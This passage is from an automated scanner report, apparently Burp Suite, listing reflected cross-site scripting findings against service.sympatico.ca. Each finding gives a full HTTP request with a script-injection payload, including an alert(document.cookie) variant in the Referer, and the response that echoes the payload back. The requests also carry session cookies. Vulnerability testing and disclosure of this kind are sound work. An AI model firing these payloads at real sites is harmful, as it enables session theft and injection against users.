amp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:05:57 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
n" name="return" value="https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=https://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/js/flash_quickfix.js9dc6c"><script>alert(1)</script>a5c816f64d6" />
...[SNIP]...

2.259. https://service.sympatico.ca/js/formValidation.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://service.sympatico.ca
Path:   /js/formValidation.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ef4e1"><script>alert(1)</script>4d40fa0bfb1 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /jsef4e1"><script>alert(1)</script>4d40fa0bfb1/formValidation.js HTTP/1.1
Host: service.sympatico.ca
Connection: keep-alive
Referer: https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E08b85c0c654
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vnum=1292876043197%26vn%3D3; Language=en; __utmz=76150551.1290615373.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/10; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290617286170%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __utma=76150551.1461550168.1290615373.1290615373.1290615373.1; __utmc=76150551; __utmb=76150551.5.10.1290615373; SMSESSION=TgprfkKpYwggjqLgMgF2R7U5lKJiO70uACzJubrRufBG8X4XFb7CoOjFI/rfGNFHrcSgUVGCrl0mIryXuNetQ+twfJal39GmuzRUumSIln9R+rDLdUzUqMn1W5ogsXO2jRwI8Uqm4Q6un5aN5g8DNrjrjgYStAed+jDb/u4BG8FgpPfns7ewVUoYnD7xoG4ruboFicAEUxtxwzDE2SeMJju7RXd0LQj8bn6xvUI0h4a+pAtNSHeqoCWQ2HYR5eBswWOVIn0duU4BjvXX00Dcim3fwpIMFjrLSb93fGDkYMjSSEp+tFiBtw==; CFID=122144950; CFTOKEN=57529978; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; GEO_SPEED=Unknown; GEO_PROVIDER=Unknown; GEO_REGION=Unknown; BASE_CACHED_URL=index%2Ecfm; UUID=7E7D4EE1%2D65B8%2DB18C%2D8BB2A5969E294761; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; VOKEN_SEEN=0

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:05:40 GMT
Connection: close
Set-Cookie: SMSESSION=6fCtJEyrISrK+IxaNhLl5HRLgSApJcUPTLTbgDL0aY+1tjEfT+gcXlmI9Q0KU+jAqnh9xnc+Y3MRUYPKOeWnVo9KwhKR1IJzcSCrXQu2VnBUOhglkkBILmGqW70MiUL5K9NyQGZYkjNTXavAlik2bs1yiGJQas+QjyDiesRgllg/MwgFkiQQD7bPZkHPUEaL65yfha3rd5+EDwouWnb7DwX50T6ZJT8T9f5rP95HGnrLXzh2W08E40FFOdhNwk+q0oUpym66l9vEqyMj7MGoR+/R2kEZBxcXd3CX7JNkfoKp5iNHtRuinw==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:05:40 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:05:40 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:05:40 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:05:40 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:05:40 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:05:40 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:05:40 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:05:40 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:05:40 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:05:40 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
<input type="hidden" name="return" value="https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=https://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/jsef4e1"><script>alert(1)</script>4d40fa0bfb1/formValidation.js" />
...[SNIP]...

2.260. https://service.sympatico.ca/js/formValidation.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://service.sympatico.ca
Path:   /js/formValidation.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 960af"><script>alert(1)</script>c9f0868b948 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /js/formValidation.js960af"><script>alert(1)</script>c9f0868b948 HTTP/1.1
Host: service.sympatico.ca
Connection: keep-alive
Referer: https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E08b85c0c654
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vnum=1292876043197%26vn%3D3; Language=en; __utmz=76150551.1290615373.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/10; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290617286170%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __utma=76150551.1461550168.1290615373.1290615373.1290615373.1; __utmc=76150551; __utmb=76150551.5.10.1290615373; SMSESSION=TgprfkKpYwggjqLgMgF2R7U5lKJiO70uACzJubrRufBG8X4XFb7CoOjFI/rfGNFHrcSgUVGCrl0mIryXuNetQ+twfJal39GmuzRUumSIln9R+rDLdUzUqMn1W5ogsXO2jRwI8Uqm4Q6un5aN5g8DNrjrjgYStAed+jDb/u4BG8FgpPfns7ewVUoYnD7xoG4ruboFicAEUxtxwzDE2SeMJju7RXd0LQj8bn6xvUI0h4a+pAtNSHeqoCWQ2HYR5eBswWOVIn0duU4BjvXX00Dcim3fwpIMFjrLSb93fGDkYMjSSEp+tFiBtw==; CFID=122144950; CFTOKEN=57529978; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; GEO_SPEED=Unknown; GEO_PROVIDER=Unknown; GEO_REGION=Unknown; BASE_CACHED_URL=index%2Ecfm; UUID=7E7D4EE1%2D65B8%2DB18C%2D8BB2A5969E294761; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; VOKEN_SEEN=0

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:05:44 GMT
Connection: close
Set-Cookie: SMSESSION=bvgw+rVBGqhekuiXY5SvUQhkalZVk6B+ftxxt7pgyW29LyiajNY4v8j8r7U9GxVQzqM2oc0tgh/mjYSDeIMI1h6WG8IEsJACU3ZMNmJEtU8FKw8+e3PNmtBu2kTb1soB0DcqitLYSjDxBJh1Xr8jp+ztq2q0b5m3+tdyRGJ4OxgoyzBM5KS+AIDg6/yy5rygLR0MqGo/WYFySZQY69Y974nAmO5EaIVYOezbgLGB+hJAi7kgiIVbdeP1UpwGD7iKHsrefw0Fab/241FrZobIzLSnQO14b3fCtr23dMx2ifvcqKMV1tq87g==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:05:45 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:05:45 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:05:45 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:05:45 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:05:45 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:05:45 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:05:45 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:05:45 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:05:45 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:05:45 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
n" name="return" value="https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=https://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/js/formValidation.js960af"><script>alert(1)</script>c9f0868b948" />
...[SNIP]...

2.261. https://service.sympatico.ca/js/functions.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://service.sympatico.ca
Path:   /js/functions.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a87d1"><script>alert(1)</script>92e5c653cb1 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /jsa87d1"><script>alert(1)</script>92e5c653cb1/functions.js HTTP/1.1
Host: service.sympatico.ca
Connection: keep-alive
Referer: https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E08b85c0c654
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vnum=1292876043197%26vn%3D3; Language=en; __utmz=76150551.1290615373.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/10; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290617286170%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __utma=76150551.1461550168.1290615373.1290615373.1290615373.1; __utmc=76150551; __utmb=76150551.5.10.1290615373; SMSESSION=TgprfkKpYwggjqLgMgF2R7U5lKJiO70uACzJubrRufBG8X4XFb7CoOjFI/rfGNFHrcSgUVGCrl0mIryXuNetQ+twfJal39GmuzRUumSIln9R+rDLdUzUqMn1W5ogsXO2jRwI8Uqm4Q6un5aN5g8DNrjrjgYStAed+jDb/u4BG8FgpPfns7ewVUoYnD7xoG4ruboFicAEUxtxwzDE2SeMJju7RXd0LQj8bn6xvUI0h4a+pAtNSHeqoCWQ2HYR5eBswWOVIn0duU4BjvXX00Dcim3fwpIMFjrLSb93fGDkYMjSSEp+tFiBtw==; CFID=122144950; CFTOKEN=57529978; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; GEO_SPEED=Unknown; GEO_PROVIDER=Unknown; GEO_REGION=Unknown; BASE_CACHED_URL=index%2Ecfm; UUID=7E7D4EE1%2D65B8%2DB18C%2D8BB2A5969E294761; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; VOKEN_SEEN=0

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:05:47 GMT
Connection: close
Set-Cookie: SMSESSION=3wytyAaBjFJ9y/wQ+1/mXo+AqTnFgzwGHoMIRMogRDca128bq55SA6PNYRzmDfmEO3tdcSzQB2VnmuZGGFHB/rdIdDABobNQJ7PQzoXmx3B0x0gB6CQwiN0AeWh4C2cmrAP+7Jj9le2hZVzpyyr619AQph45M1SSQrBCs+ov/ZPu+ISYRP/EYXpNDblt1lYL7I2pfHc0tMmaFRD/bNSHdFWZdT7dPPkMe2TNMIzpMt8YbG7dDHc5kwDCsYNCgWFVfb2RBWsRMnJjbpAlNIzrB9Nscj+pEXRmTKziqz4HCbYcUVDgh3vYsw==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:05:48 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:05:48 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:05:48 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:05:48 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:05:48 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:05:48 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:05:48 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:05:48 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:05:48 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BH